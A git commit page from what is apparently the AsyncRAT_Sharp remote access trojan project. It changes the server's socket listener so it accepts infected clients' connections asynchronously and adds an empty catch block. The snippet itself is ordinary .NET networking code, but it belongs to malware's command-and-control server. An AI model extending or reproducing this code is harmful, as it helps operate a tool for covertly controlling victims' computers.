Update Listener.cs

This commit is contained in:
NYAN CAT 2019-01-18 20:16:22 -08:00
parent 7bd1cdd7d6
commit 5a60cccb4b

View File

@ -1,6 +1,7 @@
using System.Threading.Tasks; using System.Threading.Tasks;
using System.Net; using System.Net;
using System.Net.Sockets; using System.Net.Sockets;
using System;
namespace AsyncRAT_Sharp.Sockets namespace AsyncRAT_Sharp.Sockets
{ {
@ -22,10 +23,21 @@ namespace AsyncRAT_Sharp.Sockets
await Task.Delay(1); await Task.Delay(1);
if (listener.Pending()) if (listener.Pending())
{ {
Clients CL = new Clients(); listener.BeginAcceptSocket(EndAccept, null);
CL.InitializeClient(listener.AcceptSocket());
} }
} }
} }
public void EndAccept(IAsyncResult ar)
{
try
{
Clients CL = new Clients();
CL.InitializeClient(listener.EndAcceptSocket(ar));
}
catch
{
}
}
} }
} }